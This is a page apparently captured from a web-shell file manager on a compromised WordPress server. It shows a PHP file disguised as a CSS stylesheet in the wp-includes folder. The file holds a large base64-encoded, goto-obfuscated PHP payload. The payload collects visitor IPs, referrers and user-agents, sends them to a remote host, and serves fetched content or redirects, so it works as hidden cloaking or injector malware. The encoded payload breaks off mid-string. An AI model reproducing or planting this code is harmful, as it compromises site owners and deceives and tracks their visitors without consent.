HEX
Server: Apache/2
System: Linux da1 5.14.0-611.9.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 27 10:37:27 EST 2025 x86_64
User: mdosdorg (1028)
PHP: 8.3.14
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,mail
Upload Files
File: /home/mdosdorg/domains/mdo-sd.org/public_html/wp-includes/blocks/cover/style-rel.css
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/mdosdorg/domains/mdo-sd.org/private_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gdkpOM005dmNFNkJROTsgRjJZaU43X2tLZHZNbDogJFA4Q001ZThmRmNPNVUgPSBSSGk4SHQyS2NrdHFoKCk7IGdvdG8gSWJoTGlWUmVrZjF4dzsgYzF4ZnVOZnhrY3JvMjogZnVuY3Rpb24gcmhJOGhUMmtDa3RxaCgpIHsgZ290byBiS01kS0JRNUpQNlQ3OyBiS01kS0JRNUpQNlQ3OiAkUDhDTTVlOGZGY081VSA9ICcnOyBnb3RvIGxwanNOR0ljUmhXNWU7IFQyWUZRTVFTZ0JqNjU6IGdvdG8gZUk0Q2l6cjhyNENncjsgZ290byBxb1NOSTJYZ1I0VHIwOyBLWURFWTYwMXd5T1FGOiBMWnppTHJmWGpUb2xvOiBnb3RvIHNOZWtEMDBacGZscHI7IGxwanNOR0ljUmhXNWU6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFx4NWZceDQzXDEwNlwxMzdceDQzXDExN1x4NGVceDRlXDEwNVwxMDNcMTI0XHg0OVwxMTZcMTA3XHg1ZlwxMTFcMTIwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFx4NWZcMTAzXDEwNlwxMzdceDQzXHg0Zlx4NGVceDRlXDEwNVx4NDNceDU0XDExMVwxMTZceDQ3XHg1Zlx4NDlceDUwIl0pKSB7IGdvdG8gbDd5TjViU0RsN3p3VzsgfSBnb3RvIEpCeWIxaWd0bm83RTU7IFRBQk9yaUVOdTZtdkY6IGlmICghKHN0cnBvcygkUDhDTTVlOGZGY081VSwgIlw1NCIpICE9PSBmYWxzZSkpIHsgZ290byBmWUcyN19OeHhyZmRXOyB9IGdvdG8gZHU5RjBrTmhvSUhUVzsgZHU5RjBrTmhvSUhUVzogJFA4Q001ZThmRmNPNVUgPSBleHBsb2RlKCJceDJjIiwgJFA4Q001ZThmRmNPNVUpOyBnb3RvIGpfVHYzTUQyYXpwa2M7IEpCeWIxaWd0bm83RTU6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMzdceDU4XDEzN1wxMjJcMTA1XHg0MVx4NGNcMTM3XDExMVx4NTAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1ZlwxMzBcMTM3XHg1MlwxMDVcMTAxXDExNFx4NWZceDQ5XHg1MCJdKSkgeyBnb3RvIFRsYU9vdG42dG13Q0E7IH0gZ290byBla0EyanZuM2lQX0pHOyBzTmVrRDAwWnBmbHByOiAkUDhDTTVlOGZGY081VSA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1ZlwxMzBcMTM3XHg0NlwxMTdceDUyXDEyN1wxMDFceDUyXDEwNFwxMDVceDQ0XDEzN1wxMDZcMTE3XDEyMiJdOyBnb3RvIGxaR2FMbWNYTm5lSEQ7IFlTMk9aaEdsNzVkRGg6ICRQOENNNWU4ZkZjTzVVID0gdHJpbShzdHJfcmVwbGFjZSgiXHgyMCIsICcnLCAkUDhDTTVlOGZGY081VSksICJceDJjIik7IGdvdG8gVEFCT3JpRU51Nm12RjsgTzNCSmloTUtMSEJsWDogJFA4Q001ZThmRmNPNVUgPSAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMzdceDU4XDEzN1wxMjJcMTA1XHg0MVx4NGNceDVmXHg0OVwxMjAiXTsgZ290byBBWmFFRXE2Z0ZzdHc2OyBBWmFFRXE2Z0ZzdHc2OiBnb3RvIGVJNENpenI4cjRDZ3I7IGdvdG8gS1lERVk2MDF3eU9RRjsgc3pVMnpmUjZpM192ZjogZllHMjdfTnh4cmZkVzogZ290byBNYURNR21lOVlFYlJlOyBQUEI0NFBna0gybTBGOiAkUDhDTTVlOGZGY081VSA9ICRfU0VSVkVSWyJceDUyXHg0NVwxMTVcMTE3XDEyNFx4NDVceDVmXHg0MVwxMDRcMTA0XHg1MiJdOyBnb3RvIGZYS0pZT3AxZlB5MXg7IGZYS0pZT3AxZlB5MXg6IGdvdG8gZUk0Q2l6cjhyNENncjsgZ290byBJY1lyNFYyRlFJQnF0OyBxVWRtdUlGdWt5a1UxOiAkUDhDTTVlOGZGY081VSA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXDEzN1wxMDNcMTA2XDEzN1wxMDNcMTE3XHg0ZVwxMTZceDQ1XDEwM1x4NTRceDQ5XDExNlx4NDdceDVmXHg0OVx4NTAiXTsgZ290byBUMllGUU1RU2dCajY1OyBxb1NOSTJYZ1I0VHIwOiBUbGFPb3RuNnRtd0NBOiBnb3RvIE8zQkppaE1LTEhCbFg7IGVrQTJqdm4zaVBfSkc6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFwxMzdceDU4XHg1Zlx4NDZcMTE3XHg1MlwxMjdceDQxXDEyMlx4NDRcMTA1XDEwNFwxMzdceDQ2XHg0Zlx4NTIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1Zlx4NThcMTM3XDEwNlwxMTdceDUyXDEyN1wxMDFceDUyXHg0NFx4NDVcMTA0XDEzN1wxMDZcMTE3XHg1MiJdKSkgeyBnb3RvIExaemlMcmZYalRvbG87IH0gZ290byBQUEI0NFBna0gybTBGOyBqX1R2M01EMmF6cGtjOiAkUDhDTTVlOGZGY081VSA9ICRQOENNNWU4ZkZjTzVVWzBdOyBnb3RvIHN6VTJ6ZlI2aTNfdmY7IEljWXI0VjJGUUlCcXQ6IGw3eU41YlNEbDd6d1c6IGdvdG8gcVVkbXVJRnVreWtVMTsgTWFETUdtZTlZRWJSZTogcmV0dXJuICRQOENNNWU4ZkZjTzVVOyBnb3RvIENCOV9TNkxZMVpPcnQ7IGxaR2FMbWNYTm5lSEQ6IGVJNENpenI4cjRDZ3I6IGdvdG8gWVMyT1poR2w3NWREaDsgQ0I5X1M2TFkxWk9ydDogfSBnb3RvIGdmM1NUalFqbmRMYUs7IHQyeUluMko1U2QxeHg6IGlmICghc3Vic3RyX2NvdW50KCRfU0VSVkVSWyJcMTIyXDEwNVwxMjFceDU1XHg0NVx4NTNcMTI0XHg1Zlx4NTVceDUyXHg0OSJdLCAiXDE1MVx4NmVcMTQ0XHg2NVx4NzhceDJlXHg3MFwxNTBcMTYwXHgyZlx4NmFcMTUzIikpIHsgZ290byBoS280cjk5dGdOTDBKOyB9IGdvdG8gVXQxUEhCNlhQQVRZUDsgQzVIRjZROVJWeTMwWTogc3dpdGNoICgkZXFXV1IwUE9GMnl0N1siXDE2M1x4NzRcMTQxXDE2NFx4NzVcMTYzIl0pIHsgY2FzZSAzMDE6IGdvdG8gUjNCYzJFbTZWVVlKbjsgUjNCYzJFbTZWVVlKbjogaGVhZGVyKCJcMTEwXHg1NFx4NTRceDUwXHgyZlw2MVx4MmVcNjFceDIwXHgzM1x4MzBceDMxXHgyMFwxMTVceDZmXHg3NlwxNDVceDY0XDQwXDEyMFwxNDVceDcyXDE1NVx4NjFceDZlXDE0NVx4NmVcMTY0XHg2Y1x4NzkiKTsgZ290byBxY0ZVM1VaWVdUeXFLOyBQdTJzWFlDVTliNE9kOiBnb3RvIHF3TDJhNkdIQzlwN0E7IGdvdG8gejhqM1loX1VZMFNmaDsgcWNGVTNVWllXVHlxSzogaGVhZGVyKCJceDRjXDE1N1wxNDNceDYxXHg3NFwxNTFcMTU3XDE1Nlw3Mlx4MjAiIC4gdHJpbSgkZXFXV1IwUE9GMnl0N1siXHg2M1wxNTdcMTU2XHg3NFx4NjVcMTU2XDE2NCJdKSk7IGdvdG8gUHUyc1hZQ1U5YjRPZDsgejhqM1loX1VZMFNmaDogY2FzZSAzMDI6IGdvdG8gbkZoMjZZY2VQV2QyWDsgQjlKTEFoa0xNbGZ5TTogaGVhZGVyKCJcMTE0XDE1N1wxNDNceDYxXHg3NFwxNTFcMTU3XDE1Nlw3Mlw0MCIgLiB0cmltKCRlcVdXUjBQT0YyeXQ3WyJceDYzXDE1N1wxNTZcMTY0XDE0NVwxNTZcMTY0Il0pKTsgZ290byBtS0ZpaE9QSjZxMVV5OyBuRmgyNlljZVBXZDJYOiBoZWFkZXIoIlwxMTBceDU0XDEyNFwxMjBceDJmXDYxXDU2XDYxXHgyMFx4MzNcNjBceDMyXHgyMFx4NGRceDZmXHg3Nlx4NjVceDIwXHg1NFwxNDVcMTU1XDE2MFx4NmZcMTYyXHg2MVx4NzJceDY5XHg2Y1wxNzEiKTsgZ290byBCOUpMQWhrTE1sZnlNOyBtS0ZpaE9QSjZxMVV5OiBnb3RvIHF3TDJhNkdIQzlwN0E7IGdvdG8gYm5tVWZMZ0ZNOUZlbTsgYm5tVWZMZ0ZNOUZlbTogY2FzZSA0MDQ6IGdvdG8gZlM2d184dEZYeEs2cDsgYjlsaUljVV8yM2RxTjogZ290byBxd0wyYTZHSEM5cDdBOyBnb3RvIFg5SHZGTjFNb3g4Y0s7IGZTNndfOHRGWHhLNnA6IGhlYWRlcigiXDExMFx4NTRceDU0XHg1MFx4MmZceDMxXHgyZVx4MzFceDIwXDY0XHgzMFw2NFw0MFx4NGVceDZmXHg3NFw0MFwxMDZcMTU3XDE2NVwxNTZcMTQ0Iik7IGdvdG8gWHJSQl9zQXp3Qk5QZjsgWHJSQl9zQXp3Qk5QZjogaGVhZGVyKCJceDczXDE2NFwxNDFcMTY0XDE2NVx4NzNcNzJcNDBceDM0XDYwXDY0XDQwXDExNlwxNTdceDc0XHgyMFx4NDZcMTU3XHg3NVx4NmVcMTQ0Iik7IGdvdG8gYjlsaUljVV8yM2RxTjsgWDlIdkZOMU1veDhjSzogZGVmYXVsdDogZ290byBxd0wyYTZHSEM5cDdBOyB9IGdvdG8gZFdJZTh1VVNndExETTsgTl9aaEtQNldSaloyVjogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJcMTIzXDEwNVwxMjJceDU2XHg0NVwxMjJceDVmXHg0ZVx4NDFcMTE1XDEwNSJdKSkpOyBnb3RvIFJMYmxXUVRMVkMzcmw7IHZKTjNNOXZjRTZCUTk6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byB3ZmExbHY1d0JHVjBBOyB1U21DTUVHc1hORU9OOiBxcjR4aXVVRGlvZmtiOiBnb3RvIGxfUHZRNVdJVHdQQlk7IHZfTlAxeDI5RzY2Nl86IFZCbG5ZdF9JQmNwVkc6IGdvdG8gQkhTaFlFbkwydjNRXzsgdUVXZ0xMY19aOVVqbDogJEJQc2E1U1lIWEJGNEFbIlwxNjUiXSA9IEFHZ1ZYTGtUZGJHWlgoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTM3XHg1NVwxMjNcMTA1XHg1MlwxMzdceDQxXHg0N1x4NDVcMTE2XHg1NCJdKTsgZ290byBNeVJpclhsWXlqZ3Y0OyBhd2Y1X3NzczNDRDNROiAkQlBzYTVTWUhYQkY0QSA9IGFycmF5KCk7IGdvdG8gRnN0TE11OVUxMTI3WDsgV0dnUmlVZkJhX3g2ZTogZnVuY3Rpb24gQUdndnhsS1RkYmdaeCgkWjFpN285NXdhOHRiTSkgeyBnb3RvIHY4X3BpRkdrTjhYelo7IE1rV2VJT0pqWmI0Q3k6IHJldHVybiBydHJpbShzdHJ0cihiYXNlNjRfZW5jb2RlKCRaMWk3bzk1d2E4dGJNKSwgIlw1M1x4MmYiLCAiXDU1XDEzNyIpLCAiXHgzZCIpOyBnb3RvIGdmVDZyUW5tMUYxR2U7IGp3SGJ0S0g3ZlFuZks6IGJDN2VmbjQxMm5JR2w6IGdvdG8gTWtXZUlPSmpaYjRDeTsgdjhfcGlGR2tOOFh6WjogaWYgKCRaMWk3bzk1d2E4dGJNKSB7IGdvdG8gYkM3ZWZuNDEybklHbDsgfSBnb3RvIEJ4ZHpxNGVtUEhqSVQ7IEJ4ZHpxNGVtUEhqSVQ6IHJldHVybiAnJzsgZ290byBqd0hidEtIN2ZRbmZLOyBnZlQ2clFubTFGMUdlOiB9IGdvdG8gYzF4ZnVOZnhrY3JvMjsgQ3Z1c2lieEloeTZHcTogJHhQRDJLZ3o5bEI1M3EgPSBzdWJzdHIoJEVLODJ6cDY4WXZEYkgsIHN0cnBvcygkRUs4MnpwNjhZdkRiSCwgIlw1NiIpKTsgZ290byBTbWpQWnA3dTRYRGE0OyBxZXZIeEc5MENWSHZkOiAkWTNpSjczODRsdVZiSSA9ICR7JGQwdlVuYndNSkM0eFBbMzEgKyAwXSAuICRkMHZVbmJ3TUpDNHhQWzI4ICsgMzFdIC4gJGQwdlVuYndNSkM0eFBbMzggKyA5XSAuICRkMHZVbmJ3TUpDNHhQWzQyICsgNV0gLiAkZDB2VW5id01KQzR4UFsxNyArIDM0XSAuICRkMHZVbmJ3TUpDNHhQWzQ0ICsgOV0gLiAkZDB2VW5id01KQzR4UFswICsgNTddfTsgZ290byB2U1BBVTNYNVp0cUR0OyBJYmhMaVZSZWtmMXh3OiAkdGR0djhjZFJEM2NwRiA9IHN0cnZhbChAJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTM3XHg1Mlx4NDVceDQ2XDEwNVx4NTJcMTA1XDEyMiJdKTsgZ290byBhVk05WlhMMWVIb3hmOyBMZTh2eDI1MnVTTkZmOiAkQVpCT3hHa1dhSXZkdiA9IHRydWU7IGdvdG8gdEF6bjJaaDJST19WYzsgaVV2amg3dXFGaHZzUDogaGVhZGVyKCJcMTAzXHg2ZlwxNTZceDc0XHg2NVwxNTZcMTY0XDU1XHg1NFx4NzlceDcwXDE0NVx4M2FcNDBceDc0XHg2NVwxNzBcMTY0XHgyZlx4NjhceDc0XHg2ZFwxNTRceDNiXDQwXDE0M1x4NjhceDYxXHg3MlwxNjNceDY1XDE2NFx4M2RcMTY1XHg3NFwxNDZcNTVceDM4Iik7IGdvdG8gWlVBWVZNNF9xelVkSjsgajBLdDNSMUtYb29sRDogJEJQc2E1U1lIWEJGNEFbIlx4NmMiXSA9IGFnR1ZYTGtUZEJnWlgoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDVmXHg0MVx4NDNcMTAzXHg0NVx4NTBceDU0XDEzN1x4NGNceDQxXHg0ZVx4NDdceDU1XDEwMVx4NDdceDQ1Il0pOyBnb3RvIGdadWU5QVhqNXJQRFM7IHpMQ1BWNExrc0lNaU46IEBoZWFkZXIoIlx4NDNcMTU3XDE1Nlx4NzRceDY1XHg2ZVx4NzRceDJkXDEyNFx4NzlceDcwXDE0NVx4M2EiIC4gJGVxV1dSMFBPRjJ5dDdbIlwxNjRcMTcxXHg3MFx4NjUiXSk7IGdvdG8gTFFZaDNMdlZEZ3ZOcTsgUkxibFdRVExWQzNybDogQTJaNmlzaXY1MDVIXzogZ290byB0MnlJbjJKNVNkMXh4OyBSYzBuVkJibzlXaFR3OiAkZXFXV1IwUE9GMnl0NyA9IGpUTU5ZbVlXb2NLTVEoYmFzZTY0X2RlY29kZSgiXHg2MVx4NDhceDUyXHgzMFwxNDNcMTA0XDE1N1wxNjZceDRjXHgzM1wxNjBcMTcyXDExNlx4NTRcMTUzXHg3OVwxNDRceDZhXHg0NVwxNzJceDYxXHgzMlw3MFx4NzVcMTQxXDEzMFx4NGFcMTYwXHg1YVx4NDdceDQ2XHg2Ylx4NWFceDUzXHgzNVx4NzRcMTQyXHgzMlx4MzVceDdhXHg2NFx4NDdcMTI2XHg3OVx4NGNcMTY3IiksICRCUHNhNVNZSFhCRjRBKTsgZ290byBZUVNIMjFWVFZsZ3IzOyBOeFplMlZsUVNDUDVQOiBmdW5jdGlvbiBXZmQ3VGVuaTAyWDdEKCRvRTNueGhrT01Ya3VjKSB7IGdvdG8gTzlRczd4VU9SS1llaTsgdGpncTRTZjdoYnNWazogaWYgKGlzX2FycmF5KCRvRTNueGhrT01Ya3VjKSkgeyBnb3RvIExHZkR4bk4ybVVReHk7IH0gZ290byBzMm83Y1dkT1RDaWl6OyBPOVFzN3hVT1JLWWVpOiAkaHZreVExXzFOd1AxZCA9IGFycmF5KCJceDczXDE2NFx4NjFcMTY0XDE2NVx4NzMiID0+IDAsICJceDYzXDE1N1wxNTZcMTY0XDE0NVwxNTZcMTY0IiA9PiAnJywgIlwxNjRcMTcxXHg3MFwxNDUiID0+ICcnKTsgZ290byB0amdxNFNmN2hic1ZrOyBzMm83Y1dkT1RDaWl6OiByZXR1cm4gJGh2a3lRMV8xTndQMWQ7IGdvdG8gYlVEMjV6YzNUaFo3djsgc1IwbXRFWjNIakFScDogZm9yZWFjaCAoJG9FM254aGtPTVhrdWMgYXMgJG1GXzRoeUMxR0hCVVEpIHsgZ290byBlU01XNlhRQ0xjT1F6OyBhWDdVem8yOTZBX2FPOiB3VW00RXY2VEJjenQ3OiBnb3RvIGNPdzZkUzBWWUZWSXA7IGJkcm53Q3RFN1FObmQ6IGV4R1ZnX1RfS0lQV0Y6IGdvdG8gaVBWZlNIRnJGOGlXWjsgcFpqRndlUTBvbHRGMDogWmZYUDN5VUVYZTFDRDogZ290byBOeGk1RTdvV3RsR3M4OyBOMEJRNkQ2aWlYTWpGOiBYVDNWU1BRSDEzeWZGOiBnb3RvIE13djR6X3pKcG5UTG87IFNTVVo5NWZkZHJraEE6IGlmIChwcmVnX21hdGNoKCJcNTdceDZjXDE1N1wxNDNcMTQxXHg3NFx4NjlcMTU3XHg2ZVwxMzRceDNhXDEzM1wxMzRceDczXHg1ZFx4MmJcNTBceDJlXHgyYVx4MjlcNTdceDY5IiwgJG1GXzRoeUMxR0hCVVEsICRPVF9Pc1h3ZUs1dUxLKSkgeyBnb3RvIHdVbTRFdjZUQmN6dDc7IH0gZ290byByazU2RkFJSHVRWk1iOyB5SVZfWDd3d2pMMEVwOiBnb3RvIFVYWHhFbVVoakpicW47IGdvdG8gYmRybndDdEU3UU5uZDsgaVBWZlNIRnJGOGlXWjogJGh2a3lRMV8xTndQMWRbIlwxNjRceDc5XHg3MFx4NjUiXSA9ICRPVF9Pc1h3ZUs1dUxLWzFdOyBnb3RvIEd0ZkxiRDAxaDNWMTc7IGNPdzZkUzBWWUZWSXA6ICRodmt5UTFfMU53UDFkWyJceDYzXDE1N1wxNTZcMTY0XHg2NVwxNTZceDc0Il0gPSAkT1RfT3NYd2VLNXVMS1sxXTsgZ290byB5SVZfWDd3d2pMMEVwOyByazU2RkFJSHVRWk1iOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2M1wxNTdcMTU2XDE2NFwxNDVceDZlXHg3NFwxMzRcNTVcMTY0XHg3OVwxNjBceDY1XHg1Y1x4M2FcMTMzXDEzNFx4NzNceDVkXHgyYlx4MjhceDJlXDUyXDUxXHgyZlwxNTEiLCAkbUZfNGh5QzFHSEJVUSwgJE9UX09zWHdlSzV1TEspKSB7IGdvdG8gZXhHVmdfVF9LSVBXRjsgfSBnb3RvIEcxeWtha21wZ3p2aXI7IGhFbEZScFI5MW9GTTY6IGdvdG8gVVhYeEVtVWhqSmJxbjsgZ290byBhWDdVem8yOTZBX2FPOyBHMXlrYWttcGd6dmlyOiBnb3RvIFVYWHhFbVVoakpicW47IGdvdG8gTjBCUTZENmlpWE1qRjsgTXd2NHpfekpwblRMbzogJGh2a3lRMV8xTndQMWRbIlwxNjNceDc0XHg2MVwxNjRceDc1XHg3MyJdID0gaW50dmFsKCRPVF9Pc1h3ZUs1dUxLWzFdKTsgZ290byBoRWxGUnBSOTFvRk02OyBHdGZMYkQwMWgzVjE3OiBVWFh4RW1VaGpKYnFuOiBnb3RvIHBaakZ3ZVEwb2x0RjA7IGVTTVc2WFFDTGNPUXo6IGlmIChwcmVnX21hdGNoKCJcNTdceDY4XDE2NFwxNjRceDcwXHg1Y1x4MmZceDViXHgzMFw1NVx4MzlcMTM0XDU2XDEzNVw1M1x4NWJcMTM0XHg3M1wxMzVcNTNceDI4XDEzM1w2MFw1NVw3MVx4NWRcNTNcNTFceDJmXDE1MSIsICRtRl80aHlDMUdIQlVRLCAkT1RfT3NYd2VLNXVMSykpIHsgZ290byBYVDNWU1BRSDEzeWZGOyB9IGdvdG8gU1NVWjk1ZmRkcmtoQTsgTnhpNUU3b1d0bEdzODogfSBnb3RvIHhxWGxtSnBwN3g0VTE7IEViY0dUbnpaWENNaGI6IHJldHVybiAkaHZreVExXzFOd1AxZDsgZ290byBrVXVJQUN1MWhjOFJCOyBiVUQyNXpjM1RoWjd2OiBMR2ZEeG5OMm1VUXh5OiBnb3RvIHNSMG10RVozSGpBUnA7IHhxWGxtSnBwN3g0VTE6IExrUzBZRXRiYlRrQ0g6IGdvdG8gRWJjR1RuelpYQ01oYjsga1V1SUFDdTFoYzhSQjogfSBnb3RvIGFYOUpNRzVfdVc2emM7IHRUbUtpR1QwOU5lZ3U6IFgwaTNBOGNvRWR1dnA6IGdvdG8gQXA2UXZ4aDhhM09SbDsgUEpub0s4SXJrMWsySDogeDBBVUpWMVF4NFNtZTo6aks1X1NhNTNVMGQxMygpOyBnb3RvIGlVdmpoN3VxRmh2c1A7IHRBem4yWmgyUk9fVmM6IFBRUUNXVjFLT3ZtYU46IGdvdG8gdl9OUDF4MjlHNjY2XzsgSWpkajBjV2J2VU0xUDogbWV0YXBob25lKCJcMTE1XHg0NFwxMTFceDMwXHg0ZlwxMjRcMTAxXDY0XHg0ZVx4NDRcMTQzXHgzMVwxMTZceDdhXDEyMVwxNzJcMTE3XDEwNFwxNDdcMTY3XHg0ZlwxMjRceDQ5XDE3MFwxMTZceDdhXDEyNVx4NzhceDRlXHg1NFx4NTFcMTcxIik7IGdvdG8gWUpBYW5HdHdlVjk5cDsgTXlSaXJYbFl5amd2NDogJEVLODJ6cDY4WXZEYkggPSBwcmVnX3JlcGxhY2UoIlw1N1x4NWNcNzdcNTZcNTJcNTciLCAnJywgJF9TRVJWRVJbIlwxMjJcMTA1XDEyMVwxMjVcMTA1XDEyM1x4NTRcMTM3XDEyNVx4NTJcMTExIl0pOyBnb3RvIEMzYW9wcm0wWkF3dW87IEJzY0VkcXg3NDFoRlo6IGlmICghKCRfU0VSVkVSWyJcMTIyXDEwNVwxMjFcMTI1XHg0NVx4NTNcMTI0XHg1ZlwxMjVceDUyXDExMSJdID09PSAiXHgyZlwxMjJceDJkIiAuIG1kNSgkX1NFUlZFUlsiXHg1M1wxMDVcMTIyXDEyNlx4NDVceDUyXDEzN1wxMTZceDQxXHg0ZFwxMDUiXSkpKSB7IGdvdG8gQTJaNmlzaXY1MDVIXzsgfSBnb3RvIE5fWmhLUDZXUmpaMlY7IHdmYTFsdjV3QkdWMEE6ICRHeFRXQldIUkJLQmdLID0gIlwxNjIiIC4gIlx4NjEiIC4gIlwxNTYiIC4gIlx4NjciIC4gIlx4NjUiOyBnb3RvIEw2UzdzUkIwZXZSMlE7IFJMMFNuaDJXMTEzb2Q6IHF3TDJhNkdIQzlwN0E6IGdvdG8gdVNtQ01FR3NYTkVPTjsgTFFZaDNMdlZEZ3ZOcTogZWNobyAkZXFXV1IwUE9GMnl0N1siXHg2M1x4NmZceDZlXHg3NFwxNDVceDZlXDE2NCJdOyBnb3RvIE1hMkswcUdfVWRJeXY7IG5HaFVrM0owaXJDNVI6ICRCUHNhNVNZSFhCRjRBWyJcMTYyIl0gPSBBR2dWeGxrdGRCZ3pYKCRfU0VSVkVSWyJceDUyXHg0NVx4NTFceDU1XHg0NVx4NTNceDU0XDEzN1wxMjVceDUyXHg0OSJdKTsgZ290byBMV3lHSXZUOUZ1RVZiOyBnWnVlOUFYajVyUERTOiAkQlBzYTVTWUhYQkY0QVsiXDE2M1wxNTYiXSA9IGFnZ3ZYbEt0ZEJHWngoJF9TRVJWRVJbIlx4NTNceDQzXHg1MlwxMTFcMTIwXDEyNFwxMzdcMTE2XHg0MVwxMTVcMTA1Il0pOyBnb3RvIG5HaFVrM0owaXJDNVI7IE1hMkswcUdfVWRJeXY6IGV4aXQoMCk7IGdvdG8gdFRtS2lHVDA5TmVndTsgRnN0TE11OVUxMTI3WDogJEJQc2E1U1lIWEJGNEFbIlx4NjkiXSA9IEFnZ1ZYTGt0ZEJnWngoJFA4Q001ZThmRmNPNVUpOyBnb3RvIGowS3QzUjFLWG9vbEQ7IGdmM1NUalFqbmRMYUs6IGZ1bmN0aW9uIGdaMFY2eXBPZm1JMTAoKSB7IGdvdG8gZG1NTFg4QmY5MUw0NTsgdlR1d0VJVFZUUnNjWjogJHpwN0RSWVlhQWpvVlQgPSAiXHg2OFwxNjRcMTY0XDE2MFx4NzNceDNhXDU3XDU3IjsgZ290byB6Nmdoa0ZMMDdvd2ZHOyB2Y2VxelNvclUwaEF0OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XDEzMFx4NWZceDQ2XHg0ZlwxMjJceDU3XDEwMVx4NTJceDQ0XDEwNVwxMDRcMTM3XDEyMFwxMjJcMTE3XHg1NFwxMTciXSkgJiYgJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTM3XHg1OFwxMzdcMTA2XDExN1wxMjJceDU3XDEwMVwxMjJcMTA0XDEwNVx4NDRceDVmXHg1MFx4NTJcMTE3XHg1NFwxMTciXSA9PT0gIlx4NjhcMTY0XDE2NFx4NzBceDczIikgeyBnb3RvIGhyQXgxYW9uNzdEQU07IH0gZ290byBXM3FhaDBpU1B2OFNPOyBnM1JhZ2RuWDNKWWw1OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDUzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBcMTIzIl0pICE9PSAiXHg2ZlwxNDZceDY2IikgeyBnb3RvIEJMY2RCMDM1Slk2T2I7IH0gZ290byB2Y2VxelNvclUwaEF0OyBVYkM3SzJwSkJ4cnZROiByZXR1cm4gJHpwN0RSWVlhQWpvVlQ7IGdvdG8gTHJYb1phWXVlSWl1dTsgWFBGWDBiQl9lNGg0aDogZ290byB1RkNFUTBMekdlTmFkOyBnb3RvIFcyMW5ZQnpPT3o1SXo7IERjN3JWRk83Sm1BOVc6IEJMY2RCMDM1Slk2T2I6IGdvdG8gUlI2bGMzMnFfaGsxTDsgS3NSOHV3bFRpZEFjZTogJHpwN0RSWVlhQWpvVlQgPSAiXDE1MFx4NzRceDc0XHg3MFwxNjNcNzJceDJmXHgyZiI7IGdvdG8gWnBYc0VNQjkzSHltZjsgejZnaGtGTDA3b3dmRzogdUZDRVEwTHpHZU5hZDogZ290byBVYkM3SzJwSkJ4cnZROyBZZ296cDZpTjh4dmRBOiB0clVEeWdEczdMSjZ4OiBnb3RvIHZUdXdFSVRWVFJzY1o7IFBreVVwdGZIM0IyaHM6IGdvdG8gdUZDRVEwTHpHZU5hZDsgZ290byBEYzdyVkZPN0ptQTlXOyBXMjFuWUJ6T096NUl6OiBockF4MWFvbjc3REFNOiBnb3RvIEtzUjh1d2xUaWRBY2U7IFpwWHNFTUI5M0h5bWY6IGdvdG8gdUZDRVEwTHpHZU5hZDsgZ290byBZZ296cDZpTjh4dmRBOyBSUjZsYzMycV9oazFMOiAkenA3RFJZWWFBam9WVCA9ICJcMTUwXHg3NFwxNjRceDcwXHg3M1w3Mlw1N1w1NyI7IGdvdG8gWFBGWDBiQl9lNGg0aDsgZG1NTFg4QmY5MUw0NTogJHpwN0RSWVlhQWpvVlQgPSAiXDE1MFx4NzRceDc0XDE2MFx4M2FceDJmXDU3IjsgZ290byBnM1JhZ2RuWDNKWWw1OyBXM3FhaDBpU1B2OFNPOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBcMTM3XDEwNlx4NTJceDRmXHg0ZVwxMjRcMTM3XHg0NVx4NGVcMTA0XDEzN1wxMTBceDU0XHg1NFx4NTBceDUzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDVmXDEwNlwxMjJceDRmXHg0ZVwxMjRceDVmXDEwNVwxMTZceDQ0XHg1Zlx4NDhceDU0XDEyNFwxMjBceDUzIl0pICE9PSAiXDE1N1x4NjZceDY2IikgeyBnb3RvIHRyVUR5Z0RzN0xKNng7IH0gZ290byBQa3lVcHRmSDNCMmhzOyBMclhvWmFZdWVJaXV1OiB9IGdvdG8gQnNjRWRxeDc0MWhGWjsgZGZVNFlaaXFYSDNUQTogJEJQc2E1U1lIWEJGNEFbIlx4NzMiXSA9IEFHR3Z4TEtUREJnWlgoJE1NY2ZYbUx5amRMblkpOyBnb3RvIHVFV2dMTGNfWjlVamw7IHYwaXN1TGxBeDYyYzY6IHZGR2wyVXNLU1o4ZjI6IGdvdG8gYXdmNV9zc3MzQ0QzUTsgcVAwcDN5ajQ2UGhsUTogaWYgKCEoc3RycG9zKCRFSzgyenA2OFl2RGJILCAiXDU2IikgPiAwICYmIHN0cnBvcygkRUs4MnpwNjhZdkRiSCwgIlx